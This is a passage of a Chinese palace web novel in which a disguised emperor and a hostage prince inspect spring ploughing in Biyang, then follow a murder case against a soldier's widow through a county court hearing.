或许是没了规矩束缚,裴郁璟长发半扎成尾,连发带都嵌了翡翠,混在长发里若隐若现,暗赤劲装衣身挺阔一瞧就知料子极好,在身腰扣镶金,又挂了两个腰佩,皮质护腕不但印了纹路,还有金做点缀,将宽肩窄腰展现得淋漓尽致。 他坐在马背上微微昂首,单手握着缰绳,手背筋骨凸出,即便是笑着那浑身的压迫感也快溢满出来。 谁看不赞一句,意气风发。 师离忱默了默,收回了眼神。 想着是不是太过委屈了裴郁璟,宫中规矩繁多,除了金吾卫的官服艳丽些,根本没机会让裴郁璟像现在这般打扮。 堪称花枝招展。 不得不说,圣上很嫉妒这人身躯的得天独厚,孔武有力不说,还一天天像是有使不完的牛劲,恢复的也快。 他要有裴郁璟到处折腾的精力,还会愁批奏折耗神?也不难怪书中他是男主。 …… 穆子秋在最后头。 看着前头并行着的一白一黑千里马,牙都快咬碎了,可他又不能像裴郁璟一样冲上去。 穆子秋失落垂眸。 那日廷仗过后,他醒来就被父亲告诫了,不可因圣眷浓厚就恃宠生娇,臣是臣君是君,时时牢记臣必忠君,不得逾举。 父亲还说…… 他思绪飘远,回忆起当日和父亲的话。 父亲语气沉重,“先帝病重,圣上九岁被封太子,十岁就在太师的辅佐中监国,你还在斗蛐蛐的年纪,圣上便已经开始为秦家翻案,为先帝下罪己诏稳民心,期间未出过半点差池。” “你姑姑垂帘听政的那些时日,若是圣上对朝中没有半分掌控,依着那些豺狼虎豹胡作非为的话,那粮草就根本到不了边关!圣上是知道你没坏心思,才待你宽容,你若长点脑子就不该给圣上惹麻烦!” 他只知不该擅闯圣上寝宫,实在不知其他还有哪一步做错。 似是瞧出他神色间的茫然,父亲欲言又止,不再细说,只语重心长道:“爹是想告诉你,别把圣上当成软绵绵的兔子,那是会吃人的猛兽!圣上每一步都有考量,用不着你时时刻刻献殷勤。” “答应爹,到了御前稳重一些,莫要急躁,待有一日圣上需要你献命,你再交出去也不会迟。” 穆子秋闷闷不乐地看着圣上的背影,圣上身形修长,着一身极有层次的银白,披着防风的大氅,活脱脱京都盛行的贵公子打扮。 爹说错了。 圣上爱民如子,才不会吃人。 他在御前说话多了,圣上嫌他吵也只是让他滚出去,不发脾气,圣上好极了,哪有爹嘴里的那么恐怖。 父亲根本不懂。 第42章 初入泌阳,私下出行并未通知县丞相迎。 舟车劳顿暂且下榻泌阳一方客栈,泌阳的客栈多,基本上入住的都是各地往来商队。 裴郁璟压根没想藏着,到了客栈先和一个商队攀谈起来,师离忱侧目过去,他就龇个牙解释:“秋家的。” 秋家商队遍布四方各地,两国开战期间停商,和谈过后便不对商人做限制,商队一般都到处跑,秋家是两国最大的商队,这儿有一支也不稀奇。 师离忱收回视线不做表示,这些年到底是太过惰怠,才骑了半日的马就觉得浑身酸软不适。 要好好洗漱一番,泡个澡才行。 * 这次春耕外出师离忱并未将消息瞒得很深,只浅显的封锁了点风声,以免造成混乱。 只不过取消了近乎一个月的朝会,还是难免会让人遐想,虽说之前也出现过取消朝会的情况,可至多也就两三回,满打满算也就十天。 因此京都城中但凡是靠近权利中心的臣子,去相互打听一番,大致就能猜到取消朝会的内情。 圣上不在京都的消息,鹿亲王到了第五日了才知晓。难怪近日上书的折子都没有被打回来。 鹿亲王儒雅的面孔不带一丝情绪,低头拂吹走盏中飘着的茶叶,眸中划过一丝诡色。 圣上离京都城越远,便也昭示着越好动手。 …… 天蒙蒙亮时还能感受到几分霜露,待太阳完全升起之后,泌阳便几乎看不到任何雪色。 河流缓淌,错落着分出岔道,横穿在田埂当中。 此处田地多在平原,挨河而建,农户村落距离田地不远,瞧得见房屋炊烟。当地州府县丞依照律令已将水车投放使用,河道溪流田边,水车安插在合适的位置,随着水流吱呀转动。 “公子慢些。”乐福安在前头开路,田埂旁的道路又险又窄,一个人走都尚且费力,踩空了旁边就是淤泥地,谁知道里头会不会有什么虫子。 乐福安生怕圣上一脚踏空,“来,奴搀着您。” “我还没到路都走不了的时候。”这老奴就喜欢大惊小怪。 师离忱眼梢弯了弯,轻轻打掉乐福安伸来的手,轻笑道:“管家还是顾好自己吧。” 乐福安笑出一脸褶子,“欸”了一声,拿脚踢开地上的草,免得这些不长眼的东西碍着圣上。 此刻田中已有佃农在劳作。 有条件的佃农,鞭策着前头的老牛犁地,对于佃户来说,有时候一头黄牛就是一户人家的全部财产。 没有条件的佃户,就以人替牛,通常都是一夫一妻合作分工。打眼瞧去,每个区域都有佃农在负责开垦田垄。 井然有序的新气象。 日头渐渐移到中空,田埂尽头有一名妇人推着推车过来,车上有两个箩筐,向各处招手唤人,陆续有耕田犁地的人过去,从她那处取饭。 这倒稀奇。 师离忱饶有兴味地打量一会儿,对于平民百姓来说,粮食重中之重,其次为银钱。自家做饭最划算,因此佃户不会舍得多花一份银钱去买饭,一般田庄这样的生意是没销路的。 这里似乎不同一些? 倏地,一捧白果被递到师离忱面前,离得近了还能闻到一股清新的果香。裴郁璟往嘴里丢了一颗,嗓音低沉:“尝尝。” “这么久没跟上,就是去摘这玩意?”师离忱捻了一颗,噙着笑看向裴郁璟,“你怎么找到的。” 裴郁璟嘴角上扬,“南晋帝可没你那么大方,将士们的军粮晚到个两三天都是常事。” 他神色吊儿郎当,语气轻松:“总不能老带着士兵去打劫鞑靼,只能上山打野味了,开春这种果子长得多,是难得的果子,方才路过那边山脚,瞧见长着这种树苗的藤蔓就去找了,果然有。” 小皇帝胃口本就不好,来这一路食量比在宫中的更少,他都怀疑皇帝这隔三差五犯旧疾,是饿出来的。 不想办法养养怎么行? 此处多为田,山离这儿远呢,难怪许久都见不着人影。师离忱静静看着裴郁璟一会儿,忽然失笑,眼底全然是盈盈笑意。 裴郁璟一时顿住,心底突然生出几分悔意。 摘少了。 早知师离忱那么容易哄,他该把一个山头都摘光的,一捧哪里够。 师离忱心情很好,视线看向田地的同时,也将果子放入口中,酸甜的汁水和果香一同在舌尖化开,果然是味道好。 这东西他识得,放现代社会叫白色野草莓,俗语白萢。 在这儿通常都被称作‘地果’,开春时长得最多,基本上有山的地方就有,不单拘泥一处。 不过师离忱只吃了几枚,裴郁璟道:“不要了?” 师离忱摇头,“牙酸,不要了。” 裴郁璟略感遗憾,将剩下的地果全倒入了口中,抖了抖手上的叶子,当成扇子给自个扇风。 “牛嚼牡丹。”旁边飘来老太监嘀咕的批判。 裴郁璟充耳不闻。 盘算着等会儿再去摘一些,等小皇帝想吃的时候再吃。 …… 师离忱一行人在田埂处站了许久,佃农赶着老黄牛恰好犁到了跟前,笑吟吟地打招呼,“哎!这位公子,田里脏,瞧够了赶快回去吧,等会儿起风了凉,再万一弄脏了公子的衣裳就不好了。” 即便衣着样式朴实,可那料子柔软有光泽,一瞧就是华贵之物,又跟着两三个仆从,想来是哪家兴起外出踏青的公子哥。 “不打紧。”师离忱含笑应着,点了点田埂尽头站着的一名妇人,“老大哥,向您打听个事,这田庄也有人做生意?” “公子折煞。”佃农憨厚地笑了笑,回首看了眼,“公子误会了,刘家娘子不是做买卖营生的。” 师离忱挑眉,“此话何解?” 话及此处,佃农叹了声,“年前与南晋开战,刘家兄长应了募兵去往边关,后头人没了,朝廷送了笔安家费被她长叔拿走了,说是要把刘家发扬光大,要科考,剩她一个寡妇守在家中。” 他惋惜道:“这刘家娘子也没个儿女,眼瞧着家中田地无人照料,便找了里长商量,给各家各户洗衣裳,做饭打扫为报酬,请各位帮忙照料她家的田地,零零总总分配下来,我们每户也就多照顾半亩地。反倒是刘娘子要顾着二十几户人家,近来人都憔悴了不少。” 师离忱若有所思。 就在这时,距离田地稍远些的林子里突然传出一声尖叫,惊得飞鸟四窜,“有,有死人!!是死人!!快来人啊!!去叫里长!!” 郞义闻声而动,先掠过去查看情况。 树根脚下,露出一截惨白无色的手,像是从土里挣扎着要往外爬,但没能爬出来指甲还死死扣着泥土,甲面紫到发黑形态可怖。 发现尸首的是来解手的男子,紧紧拽着解到一半的裤腰带,胆子应是比较小的,被吓得面无血色,跌倒在地指着那截手,呼吁赶来的众人。 “报官!快!快报官!!” 第43章 月商法度完善,多人发现死尸无法包庇弃之不管,里长先是叫人把死尸挖出来,辨认了一番,登时脸色大变,急急忙忙地叫人去县衙报官。 这是刚入冬那段时间,在县里失踪的乡绅,家里头有些钱财关系,里长可不敢随意处置,得等县衙来人才能办。 尸体拉到义庄,找仵作验尸办案还需要时间,事情进度由郞义盯着,师离忱先回了客栈。 “公子难得出来一趟怎的还能遇上这事。”乐福安蹙眉抱怨道,“沾了一身晦气。” 师离忱不咸不淡地扫他一眼,慢条斯理道:“遇到是好事,人人都粉饰太平那才是真的晦气。” “是是是。”乐福安讪笑着,自打了两下嘴巴,“怪老奴这张破嘴,什么话都乱说。” 师离忱但笑不语。 裴郁璟摘了一布袋地果回来,小心放在桌上打开了袋口,“全是刚摘的,比早上的甜。” “来得倒巧。”看着兴致勃勃的裴郁璟,师离忱指腹在桌面有一下没一下地敲着,唇角带着一抹笑意,忽道:“恰好朕也想问问你,今时今日,你是否还在想着叫天下大乱?” 这里是泌阳最好的客栈,私闭性好,考虑到往来商人的机密,隔音做得也不错,故此师离忱不担心被人听到。 裴郁璟眼底一沉,不知帝王为何突然提到这点,他敛去眸中转瞬即逝的阴翳,抬首笑着面不改色地道:“公子别说笑话,我可没有那样的本事。” “行。”师离忱不急不恼,指间捻着一枚地果,递到裴郁璟唇边,笑得温柔:“就当你没有吧。” 不得不说,裴郁璟生得极好,深邃阴鸷地眉目,唇形也优越。 师离忱长睫低垂着,拇指的指腹狎昵地按在了裴郁璟的下唇,以一种极为强硬的姿态让唇瓣分开,又将地果塞了进去。 他慢条斯理道,“你这嘴,还是先堵着吧。”总爱说些装模作样的话,怪叫人心烦的。 裴郁璟眼睛直勾勾地盯着师离忱,舌尖卷着酸甜的地果,含着半响喉结也跟着滚了滚。 不舍得碾碎。 …… 天幕将暗。 郞义带着调查结果回到师离忱跟前,一五一十将事情经过交代了。 放在平时,县衙的破案效率肯定没有那么快,说不准还要拖上十天半个月,只是很巧,得了剿匪御令的房云哲在附近。 房云哲听说出了命案,便将大理寺带出来的仵作指派过来验尸,他自己没过来,还要往南阳府别处走走,以免开春之后匪徒猖獗作乱。 仵作从死者头部发现一根完完全全嵌进去的半截簪子,胃部有残留的迷药,由此推断出死者是被喂了迷药,毫无防备的情况下,簪子成了钉,被钉入了后脑。 杀人者或许是经验不足,断掉的半截簪子完全钉进了大脑后,以为死者咽气,将人用麻布一卷,埋在了地下。 谁知死者在遭受重创后,只是进入了休阙状态,被埋之后又奇迹般回气,醒来后无法呼吸,拼了命的往外爬。 但当时是大雪,雪在地表厚厚的铺了一层,杀人者粉饰太平,把积雪覆盖在上,经过一夜落雪,自然什么痕迹也没了。 死者头部又伤,迟迟挣脱不出地底,死于窒息。 整整过了一个冬日,雪都化去,田庄的佃农开始耕田,有人往林子里去,才发觉此人的存在。 “官吏对比了簪尾样式,经过多方查证,怀疑嫌犯是田庄的刘家娘子,已将人扣押起来,准备审讯。” 郞义回禀结束,师离忱给了乐福安一个眼神,乐福安会意,立即给郞义递了杯润嗓的茶水。 郞义毕恭毕敬地低首接过。 乐福安笑吟吟道:“县衙办案的官吏莫不是糊涂了,怎能如此草率就将人扣押下狱。” “官吏原是打算上报处理,这回和房小将军一同外出的,还有调查刑案的大理寺少卿。” 郞义紧忙补充道,“少卿大人见仵作迟迟不回就找了过来,断定刘家娘子是行凶之人,官吏这才敢将人扣押下狱,等着明早公堂审案。” 调查九华寺和其余佛寺的事情,除了监察司在办以外,还有一些也派给了大理寺。事关重大,大理寺少卿亲自外出查办也属正常。 师离忱闻言,漫不经心地嗯了声,瞥一眼裴郁璟道,“明日,你去旁听。” 裴郁璟一顿,“圣上不去?” “圣上自有事要做。”乐福安低斥道,“让你去,你去就是。” …… 烛火轻跳。 室内静谧,圣上要歇息,其余人都自觉地退了下去。 乐福安站在师离忱身后,手中托着一缕微卷的长发,小心梳理着,轻声细语地问道:“圣上,老奴也不懂,为何要叫他去旁听审案?” 师离忱阖着双目,从容不迫道:“他杀性太重了。” 话音刚落,乐福安回忆一番,这位南晋的质子殿下,有时身上表露出的压迫感确实很强,自从与圣上明牌后,瞧着任何人的目光都如鹰隼般锐利森冷,活脱脱一匹完全未加驯化的野兽。 可要说他做了什么天理不容的事,福公公只能想起因为他引起的,圣上受过的两次伤。 有伤及其他宫人? 倒也没有。 难得见他动手,也是因为不得不入局,在兽园掐断狼脖,从中也只能瞧出他的果断狠辣,并算不上杀性重。 当然乐福安不会觉得圣上会有看走眼的时候,或许是有他不清楚的内情。 乐福安轻叹一声道,“老奴眼拙,未曾瞧出端倪。” “他装得好罢了。”师离忱语调轻慢,“即便如你一般,时刻跟在朕身旁都有误解,更何论旁人。” 一整个冬日过去,一个新年过去,南晋质子在皇宫内廷备受月商帝折磨的消息,早就传开了。 里面有太后一点推波助澜,还有一点鹿亲王的手笔,这些人想夺权自然就要想办法败坏他的名声。 至于裴郁璟? 他扮演什么身份那就很难界定了。 师离忱最开始的想法是杀了裴郁璟,杀不掉也要想办法杀,疯狂响着要‘重置’的系统,让他突然警醒。 与其想着同归于尽,倒不如拔掉裴郁璟身上的刺,免得系统某天又出现奇怪的功能。 根据书中,还有搜集到的消息,完全能看出裴郁璟骨子里是一个极端冷漠的人,他所属的所有势力,都是棋。 所以他能随随便便地联系鞑靼进犯津阳城,也能随随便便把鹿亲王养着的私兵调令交出来。 交易不过是托词,说到底就是不在乎,蔑视。 这些于他而言,可有可无,是能放弃的东西。 还把两国纷争当成玩意,随意操控南晋朝局动向,为了让主战派占据上风,给主和派的二皇子下毒,迫使两国压境对峙。 为达目的不择手段,直到救出沈绍。 故此,师离忱可以断定,裴郁璟和他是一类人,会想尽办法护住想乎之人,兴起之时可倾尽所有。 但也昭示着,裴郁璟和最初的他一样,不在意任何平民百姓的死活,装的再好,也是个只会杀戮的野兽。 野兽的心很硬,要撬开口子很难。 师离忱得让这位在书中一统江山的皇帝,亲眼目睹,寻常百姓到底是个什么样的人生。 再比如刘家娘子。 将士遗孀,到底因何伤人。 第44章 今夜月色极亮。 大理寺少卿夏时重扫了一眼天空上,月盘挂着的位置,起身道:“该散了,明日还要上公堂旁审。” 泌阳县衙的案子,当由本地县丞处理,即便他是四品大理寺少卿,也不好包办代替,至多旁审给些提点意见。 穆子秋抱着坛子,愁道:“在京都就和你见不了几回面,眼下难得小聚,你倒好跑那么快。” 夏时重俊逸的面容神情不变,一丝不苟道:“问你因何在此,你也不答,还怪我跑得快?” 穆子秋一时语塞。 此番圣上秘密出行,他哪能随意透露,再说这块地方是房云哲负责的剿匪区域,他又不能拿这个当借口。 “我出来玩的。”穆子秋理不直气也壮。 夏时重打眼一瞧,都不用审问就知道此人在撒谎,他无意探听旁人的辛秘,只道:“少喝些吧,我先回了。” 说完他便要走,却听身后传来一阵听令哐啷,桌椅响动。 夏时重疑惑回首,便见半醉不醉的穆子秋猛地站起,怒目圆睁的面朝大门,大喝一声,“又是你!” 顺着穆子秋视线方向看去,门前一高挑挺拔的身影驻足停下,眼神瞥来,平静的眸底一片森冷。 近来京都传言甚广,驯马会夺魁之人是南晋质子一事早已人尽皆知,夏时重去旁观过驯马会,一眼便认出了面前的是裴郁璟。 此刻的裴殿下面无表情,神情辩不出喜怒,眉眼间压着若有若无的戾气,似是心情不愉。 夏时重按规矩,作揖道了句,“裴殿下。” 话音还未落,后头的穆子秋便化作一阵风刮了出去,拳头直奔裴郁璟面门砸去!显然是来不及阻拦了。 夏时重瞳孔一震。 这莽夫! 拳风迎面带起一股冰冷的寒风,裴郁璟眼皮轻,运气出掌,以掌化拳,毫不客气以力打力,双方一触即分。 再瞧他站在原地,一步未动。 穆子秋翻身落地,揉了揉震麻的手臂,盯着裴郁璟的眼神变了几番,陡然打起了精神,“有两下子啊!” “穆兄!不可无礼!”夏时重出声提醒。 “你别管,就当没看见。”穆子秋摆好架势,嚣张地朝裴郁璟招手,“来,打一架。” 裴郁璟目光冷然扫过穆子秋,轻蔑之意溢于言表,他拍拍衣摆转身,漫不经心地嗤了一声:“花架子。” 他的功夫,都是战场杀人练出来的。 穆子秋本就对裴郁璟有不满,好不容易私底下碰见一回,可谓仇人见面分外眼红,裴郁璟的这副态度,等同于烈火浇油。 杀气袭来,裴郁璟步调一顿,微微偏头躲过袭击,穆子秋的拳臂于他耳侧擦过,他眼睛都没动一下,擒住了这只手臂,身形一转躲过穆子秋踢来的一脚,借势一绊,接着将穆子秋的手一拧。 “咔。” 骨头清脆地响声。 手臂脱臼,让穆子秋失去一瞬的行动能力,但已然足够。裴郁璟眼底透着漠然寒意,五指成爪擒在穆子秋脖间,只需稍稍用劲,这根骨头就会被拧断。 “不可!”旁观者清,夏时重看出二人之间不似玩笑,急忙出声制止,神情肃然行礼道:“子秋鲁莽,我代他向殿下赔罪,还望殿下饶他一回。” 还没过上三招,就拜落下风,穆子秋这会儿更气了,听夏时重这般说话,顿时不乐意道:“功夫不如他我认了,你别求他!” 裴郁璟本就没打算杀这小子,一个不知天高地厚的贵公子,哪里值得他动气,不过给个警告罢了。 再说了,小皇帝在意穆家,否则也不会让这小子来御前侍奉,真要把人杀了,以小皇帝护短多疑的性子,指定发疯。 帝王喜怒不形于色,即便是几次三番的折腾他,也从未透露过真正的想法,至少目前双方是平和相处的。 而这段时间,师离忱待他时,所流露出的几分浅显温和,甜得如散发着淡淡香气的花蜜,难免叫人沉溺。 所以他打心底里,不想真的变成帝王的敌人。 裴郁璟冷嗤一声,松开了擒在穆子秋脖子上的五指,不动声色地瞥了眼穆子秋脱臼扭曲的手臂。 真若为敌。 这只手,早被拧下来喂狗了。 见状,夏时重松一口气,行礼谢过裴郁璟高抬贵手后,他蹲下身去查看穆子秋的情况。 大理寺刑狱里,帮犯人卸臂接臂都是家常便饭,夏时重面不改色地按住穆子秋。 “咔咔。” 两声,没给人反应的机会,利落的把手接了回去。等穆子秋回过神来,只剩肩膀发麻的疼了。 他龇牙咧嘴地揉肩,“肯定是怪喝了酒,等我酒醒了……” “酒醒了你也打不过裴殿下。”夏时重打断了他,“世伯说得没错,你真该多读读书沉淀一番。” 说完,他顿了顿,语气忽地严肃起来,“不过裴殿下一向在宫中行走,怎会来泌阳?你还要瞒我到何时。” 穆子秋哼了声,没好气道:“大理寺公正严明年纪轻轻就破案数件,升迁奇快无比的正四品少卿大人,你这大理寺莫不是走后门进的?连这都没猜到?” 夏时重沉默片刻。 猜到了。 遇到穆子秋的那一刻就猜到了,只是不敢确信。直到看见裴郁璟,才断定了圣上果真在外出巡。 “你快回去。”他深吸一气,就算此时街上行人稀少,他依旧压低了声音,以两人才能听清的语调道:“小聚什么时候都能聚,圣上安危不可忽视,赶紧去守着,万万不可玩忽职守!” 穆子秋两眼迷茫地被催促着走,他往前走了好一段路,快到客栈了,被酒意侵蚀的大脑才回过味来。 不对啊。 明明是圣上特许他随意走动,否则他哪敢外出和夏时重小聚,怎么在夏时重口中成了他玩忽职守?打架没打过也就罢了,怎么风评也变差了?! * 县衙公堂。 鼓鸣声响。 师离忱高坐于县衙公堂对面的茶楼,在茶楼二层的外台静坐,点了一壶花茶,叫乐福安也一起坐着等瞧。 这两年月商律法逐渐完善严明,县衙这种小地方鲜少闹出命案,对于百姓来说这是难得的热闹,也好奇真相,故此县衙门口围满瞧热闹的人们。 瞧着人多,裴郁璟另辟蹊径,飞身跃到房顶,位置又高又隐蔽,能将府衙大堂看得清清楚楚,还不必与底下的百姓们相互拥挤。 死者为乡绅,疑犯为刘家娘子,县丞在高堂之上翻看案卷。 乡绅家中高堂尚在,来的是一位头发半百的老妇人,以及一名少年。 老妇人听闻自家儿子尸首寻得,昨夜就瞧了尸首,哭得两眼通红,整个人肉眼可见的憔悴。 方才府衙的鼓声刚刚响过,涉及此案的一干人才被带上来,县丞还未开始正式审案,老妇人便先张牙舞爪,狰狞着面孔去拉扯刘家娘子,“是你!你杀了我的儿!他可是秀才公!前途无量!” 老妇人声音尖锐,扯着刘家娘子衣襟不肯松手,嘶吼着宛若午夜厉鬼:“你要给我儿偿命!偿命!哪怕死了也要给我儿配阴婚,你得下去给我儿做牛做马!” “偿命!!” 第45章 刘家娘子性子胆怯,当场落了两行清泪,急急护住衣裳生怕被拉得衣衫不整,哭诉道:“不是我,不是我,我是冤枉的。” 她看向高堂之上,“求大人为民女做主,民女冤枉啊!” 一侧,夏时重坐在旁审地位置,给官吏做了个手势,官吏迅速上前将险些扭打在一起的二人分开。 老妇人不肯善罢甘休,县丞拍响惊堂木,肃声警告:“公堂之上,肃静!” 惊堂木声落下,现场陡然变得死寂,堂外围观的民众就连呼吸都放轻,公堂之上气氛威严肃冷。 老妇人哪怕再不情愿,也得老老实实跪坐回了原位,只是她眼神可怖阴森,一直死死凝视着刘家娘子,仿佛能吃人。 刘家娘子抹着眼泪,跪在另一端。 “是否有冤,待本官一审便知。”县丞将案卷梳理完毕,拍响惊堂木,“传证人!” …… 穆子秋来到茶楼二层,找到师离忱,递上一本奏疏,“公子,这是少卿呈送来的案情。” 大理寺处理事情奇快无比,夏时重昨日断定刘家娘子为嫌犯,便让下属彻夜调查线索,挨个盘问,果然是查出了线索。 考虑到圣上在此,定会对这案子有些关注,便重新写了一份叫穆子秋送过来。 师离忱看着对楼的县衙,指尖在桌面点了点,漫不经心道:“福安,看看。” “欸。” 乐福安笑眯眯地接过奏疏,打开来瞧。 穆子秋也探头过去跟着看,夏时重死板的很,不许他提前打开,只能等着今日审案了才能得到真相。 杯中飘着一朵泡开的茉莉花,师离忱指腹在杯壁若有若无地敲击着,视线不曾从县衙的方向移开,情绪不显眸波平淡。 他在等。 有夏时重旁审,这案子要侦破很快,但问题在于侦破之后,那位刘家娘子最终的处理结果。 * 有大理寺相协,此案的案情路线十分明了。 死者姓张,是一秀才。 两年前参加完乡试之后,听同窗说泌阳的布料结实,便来到泌阳购置布匹用于过冬。 张秀才来到泌阳布庄,恰好遇见了与掌柜商议的刘家娘子,刘家娘子精通各路绣技,拿着各式花样来找掌柜的商谈价钱,想在布上做绣,换取生计。 但掌柜经营的是布庄,这些布都是做好再由商队销往各地,要绣花样也是等确认了衣裳样式,裁剪好后再由绣娘来绣样式。 因此掌柜否决了刘家娘子的提议,不打算雇用刘家娘子。 彼时,刘家娘子丈夫刚战死不到半年,还头戴白娟花为其守节。她与掌柜商议不成,无奈离去。 张秀才就和掌柜打听了一番。 布庄掌柜跪在堂前,仔细回忆道:“张秀才为人正派,当日在得知刘家娘子身份后,还叹造化弄人。” 布庄掌柜道:“张秀才拿了十两银子交给草民,说是等刘家娘子再来时,就让刘家娘子绣两块帕子,二两归我,八两给娘子,就当是给将士家眷一些补贴。” 在南阳这个地界,五百文左右可买得一石米,十两银子节省着用,足以让一户人家衣食无忧的过上大半年。 布庄掌柜从未见过这种冤大头,自然记得深刻。 刘家娘子却‘呸’了一声,“我绣了二三十条帕子,绣了三个月,你说给我二钱一月,又找借口扣了一钱,我只得了五钱银子,哪里来的八两?!” 县衙围栏外旁观的百姓窃窃私语,人群中传来一声高喝,“好你个李掌柜,良心被狗吃了你,秀才老爷给将士家眷的补贴你也私吞!” 众人审视地目光落在布庄掌柜身上,他哪敢在堂前撒谎,一张老脸还有脖子都羞恼地红了,回头嚷嚷道:“反正这活计我给她做了,她去旁的地方一个月还没有二钱一月呢!” 眼瞧着要吵起来,堂中陡然响起夏时重的沉声厉斥:“你们当这是什么地方?!藐视公堂,罪加一等!” 话音一落,险些争论起来的堂前瞬间冷静了下来。 沉寂片刻。 县丞问,“李掌柜,张秀才是否只接济了刘娘子一回?” 布庄掌柜连连点头,笑得谄媚:“是的大人,就一回,后头张秀才又来草民的铺面,但只买布不做其他。小的与他搭话,他都不怎的理会,傲得很。” 堂上证人有许多位,都候在一旁,布庄掌柜此言一出,一旁有名瘦弱矮小地男人怯生生地举手,“启禀大人。” 县丞颔首,许他说话。 此人乃酒肆小二,结结巴巴道:“草民与刘家娘子是同一个庄上的人家,张秀才与我打听过几回刘家娘子,给了我一两银钱,求我将刘家娘子引出来见一面……” 众人哗然。 孤男寡女私下见面,私相授受的帽子足够扣押到刘家娘子头上,刘家娘子神情惶恐,哭诉道:“谁与他私下见过面了?我都不认得他!你休要坏我名声!” 酒肆小二急忙摆手,对着县丞澄清道:“草民不肯帮他办事,自然未收张秀才的钱财,大人明鉴!不过我曾瞧见,张秀才在田庄出现过,和李掌柜一起。” 旁审位。 夏时重眼神一厉,扫向布庄掌柜,冷冷道:“李显民!还不说实话!”那目光宛若利箭,庄严冷酷,似能看透人心。 布庄掌柜心若擂鼓,梗着脖子道:“草民该说的都说了,草民与张秀才就打过那几次交道,从来没别的。” “是啊是啊,许是小二看错了,我们也没瞧见过张秀才来我们田庄啊!”说话的是一个老佃农,他一出声,其他人也跟着附和。 里长拄着拐,颤颤巍巍走出来:“大人明鉴,刘家娘子一向老实本分,万不可能伤人,此事尚有蹊跷,还望大人明察秋毫,切莫难为这小小女子。” 县丞眉心轻敛,有些迟疑地看向夏时重。 此案有大理寺少卿在旁审理,就算只占个旁审的名头,最终做出决策的还得是少卿大人。 刘家娘子小声抽泣着,低垂着眼睫不知在想什么。 半晌无人应答。 公堂之上,老妇人突然浑身一软,躺在地上撒泼似的嚎啕大哭起来,“我的儿啊!你死的惨啊!早说了那是个克夫的丧门星,你怎得不听,现在人财两失,连你自个的性命都丢了!!” 她从袖袋里一件件的甩出东西,有帕子,有钗环,有用了半盒的胭脂,还有一样醒目的,便是浅色绣花的肚兜。 刘家娘子脸色唰一下白了,连唇上的血色都褪得一干二净。 第46章 县衙对面的茶楼。 师离忱喝了一口花茶,花香里带了点苦涩的回甘,别有一番风味。他又塞了一口地果,压下那点苦涩。 还是搭配起来才好。 县衙哭闹一片,穆子秋看完奏疏上呈现的案情,蹙眉道:“公子,犯案者并非只有刘家娘子一人,她们也是被逼无奈的可怜人……” 师离忱漫不经心道:“嘘,听他们审案。” 穆子秋识趣的闭了嘴。 …… 昨夜大理寺金刀侍卫,上门连审三十几人,拿到了三十多份相差无几的供词,因此奏疏脉络写得很清楚。 世上没有天衣无缝的案。 夏时重站起身,语气肃然道:“嵌进死者张秀才头骨中的半截簪子,出自泌阳花楼,花楼的楼娘把簪子当成定亲信物,给了张秀才。” 被点名的楼娘,背后冷汗涔涔。 老妇人阴狠地看向楼娘,闪烁着仇恨的光。 夏时重波澜不惊道:“张秀才不记得这是楼娘的物件,转手就托田庄上农女,悄悄送给了刘家娘子献殷勤。” 农女羞愧地低下了头。 夏时重视线看向刘家娘子,“你误以为簪子是农女所赠,经常佩戴,直到一年前被楼娘找上,你才得知此簪是张秀才所赠,是楼娘心爱之物。” 说得一字不差,刘家娘子脸色发白,不知如何辩驳。 老妇人将肚兜抛向刘家娘子,“让你给我儿做妾都是抬举!睁开眼瞧瞧,这是你的物件!你就是个不要脸的!” 恐惧令刘家娘子浑身颤抖,她喃喃道,“我没有……我不是……我没有……” “放肆!”夏时重面色一沉,冷冷道:“压着她,不许她再作乱!”官吏立即上前,制住了要撒泼的老妇人,连带把嘴也捂住。 见老妇人面露不忿之色,夏时重斥道:“胆敢扰乱公堂,打你十板都不为过。”她才缩着脖子重新安分地跪好。 “据酒肆小二供词,这些所谓证物,都是他偷盗得来。” 眼见众人还在各种猜忌,县丞及时出言解释,“酒肆小二确实拒绝为张秀才牵线,可没过多久,他家中老娘病重,急需一笔银子,又见张秀才对刘家娘子贼心不死,便与其做了一笔交易。” 他手里拿着酒肆小二呈上的供词,“以刘家娘子的贴身物件,从张秀才手中换取银钱,总共换了五回,有亵衣,耳坠,钗环,衣带,共换了三两。” 刘家娘子眼眶更红了,哭得也更凶了。 而堂外尚有旁观的百姓窃窃私语,“还有这种好事?”又叹,“我怎么没遇到呢……” 诸如此类的言论飘进来,刘家娘子整个人都在颤抖,酒肆小二自觉无颜面对刘家娘子,偏过头去。 酒肆小二和刘家娘子是同一个田庄的佃农,要选个刘家娘子不在家中的时间去行窃,是十分容易的事。 “啪!” 惊堂木一拍,让公堂回归清净。 县丞高声宣判:“酒肆小二行盗窃之罪,偷窃物品总价不足一钱,罚受刑十鞭,劳役三十天。” 偷窃物品的价格,不能以换取到的价格来算,偷走后有人出高价买走,并不能算在惩处其中。 当然,案子处理到这儿,只是开了个头。 刘家娘子的夫君战死,抚恤银全部被刘二郎拿走,为了生计奔波,她只能帮一些夫人绣衣裳,或者教尚在闺阁的姑娘做绣活。 泌阳地方不大,刘家娘子因绣活出众很快就得以传开,她一界寡妇孤身一人,起初是按礼节规矩,戴起了白绢花为夫守节,国法有度,一年为期,守节一年之后妇人婚嫁自由。 可有诸多眼睛盯着,白绢花刚拿下,便传出了不少风言风语,无非就是来回那几句,刘大郎是顶天立地的英雄,她怎能轻易改嫁。 外嫁的女,外泼的水,加上刘二郎不同意,娘家人没办法将刘家娘子接回去重新议亲,就连接济都被不许。 刘家娘子就艰难的过活,她夫婿刚死半年的时候,遇见了张秀才。 张秀才被刘家娘子俏丽清秀的面孔吸引,不介意刘家娘子是寡妇,欲与其交好,便托布庄掌柜在刘家娘子面前卖个好。 夏时重看着布庄掌柜,声音沉冷:“李掌柜,你口口声声说只接济过刘家娘子一回,可刘家娘子所接到过的绣衣活计,有九成都是由你牵头介绍,这叫只接济了一回?” “她自个有本事,靠绣技精湛打出了名声,草民总不能连夫人们的生意都不做了吧?”李掌柜依旧不肯松口。 夏时重语调没有丝毫变化,一字一顿道:“布庄常给花楼供货,你与楼娘相识,张秀才初来布庄,你便认出了他是何人,先是假意答应张秀才,后叫小厮将十两全数送去给刘家娘子,并传话小心提防。” 他道,“平日你与刘家娘子之间鲜少见面,小厮熟知你二人,见十两银子在手便起了歪心思,私自昧下银两。” 